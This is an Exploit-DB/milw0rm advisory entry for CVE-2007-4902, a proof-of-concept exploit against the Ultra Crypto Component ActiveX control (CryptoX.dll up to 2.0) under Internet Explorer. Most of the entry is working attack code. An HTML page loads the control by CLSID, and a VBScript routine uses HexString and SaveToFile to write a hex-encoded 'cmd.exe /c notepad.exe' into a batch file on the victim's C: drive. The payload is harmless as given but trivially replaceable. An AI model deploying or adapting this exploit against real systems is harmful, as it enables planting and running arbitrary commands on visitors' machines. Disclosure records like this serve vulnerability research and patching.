Ultra Crypto Component CryptoX.dll <= 2.0 SaveToFile Inscure Method

ID EDB-ID:4388
Type exploitdb
Reporter shinnai
Modified 2007-09-10T00:00:00


Ultra Crypto Component (CryptoX.dll <= 2.0) SaveToFile() Inscure Method. CVE-2007-4902. Remote exploit for windows platform

&lt;code&gt;&lt;span style="font: 10pt Courier New;"&gt;&lt;span class="general1-symbol"&gt;&lt;body bgcolor="#E0E0E0"&gt;-------------------------------------------------------------------------------------
 &lt;b&gt;Ultra Crypto Component (CryptoX.dll &lt;= 2.0) "SaveToFile()" Inscure Method&lt;/b&gt;
 url: http://www.ultrashareware.com/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 &lt;b&gt;We can use the "HexString()" method to save into our batch file some lines.
 In this PoC, I convert "cmd.exe /c notepad.exe" in hexadecimal format, then
 I save it in a batch file :)&lt;/b&gt;

&lt;object classid='clsid:FD22F3AE-1450-4BDC-ADBE-6AF210A78C2C' id='test'&gt;&lt;/object&gt;

&lt;input language=VBScript onclick=tryMe() type=button value="Click here to start the test"&gt;

&lt;script language='vbscript'&gt;
 Sub tryMe
  Dim MyMsg  
   test.HexString = "636D642E657865202F63206E6F74657061642E657865" 'cmd.exe /c notepad.exe
   test.SaveToFile "c:\shinnai.bat"
   MyMsg = MsgBox("Exploit completed!")
 End Sub


# milw0rm.com [2007-09-10]